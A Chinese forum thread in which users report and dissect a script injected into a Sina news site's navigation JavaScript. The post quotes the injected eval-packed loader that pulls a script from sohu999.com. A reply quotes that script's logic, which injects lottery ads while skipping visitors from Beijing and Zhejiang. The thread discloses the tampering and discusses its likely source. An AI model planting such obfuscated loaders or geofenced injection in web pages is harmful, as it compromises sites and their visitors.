目测新浪的一个 js 被替换了

[wei193]

http://tech.sina.com.cn/it/2018-04-19/doc-ifzihnep8570976.shtml 原文链接在这

http://n.sinaimg.cn/common/channelnav/js/nav.js 被替换的 js 在这

被增加的代码在这

eval(function(d,f,a,c,b,e){b=function(a){return a.toString(f)};if(!"".replace(/^/,String)){for(;a--;)e[b(a)]=c[a]||b(a);c=[function(a){return e[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}('2.8("<0 3=\\"4\\" 5=\\"6/7\\" 1=\\"9\\" a=\\"b://c.d/e/f.g\\"></0>");',17,17,"script charset document id wf type text javascript writeln gb2312 src https sohu999 com imgs sina js".split(" "),0,{}));

是被劫持的理由是广告跳转域名没有备案，也查不到是谁注册的，显示代理注册

[huiyifyj]

sohu999.com 显示 DNS server 是 DNS pod
emmm [:doge:]

[580a388da131]

今天也看到了 四川电信

[fadaixiaohai]

是运营商替换的吗？

[autoxbc]

看起来像内部员工挣外快的手法，不过这 eval packer 过于此地无银了，还不如手写拆分 url

[7654]

哈哈，可以举报一下新浪涉嫌 H&D&D

[LeungJZ]

不会是那个右下角绿色闪啊闪的吧？

[M4ster]

哈哈，看来北京和浙江的网友不好惹啊🐶。

https://sohu999.com/imgs/sina.js
``` javascript
loadScript('https://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js', function() {
if (window.remote_ip_info.province == '北京' || window.remote_ip_info.province == '浙江') {
return false
} else {
// 注入广告...
}
)
```

[fe619742721]

@M4ster 哈哈，想起来那个 http 劫持页面劫持到国务院头上的事情

[vuser]

@wei193 怎么发现的, 118 彩&瓢

[cattrace]

很厉害，同问是怎么发现的

[janus77]

上海联通也挂了 DNS 是 114

[artoostark]

广州鹏博士也有。

[flyz]

为什么我打开 js 文件，显示的是 1111111

[myleon]

刚才还有一刷新变成 11111111 了

[RiESA]

是不是干的人也上 V 站? 居然没了

[xiaodongus]

变成 111111 了，看来应该是内鬼无疑了

[wei193]

@vuser 因为我有 ABP，打开发现有个广告 然后还是彩票就想看个究竟

[blackhacker]

这个有点厉害啊 怎么做到的

[orm]

看样子，新浪内鬼也上 V 站

[zoujun3281]

@M4ster 大概新浪在北京跟浙江有公司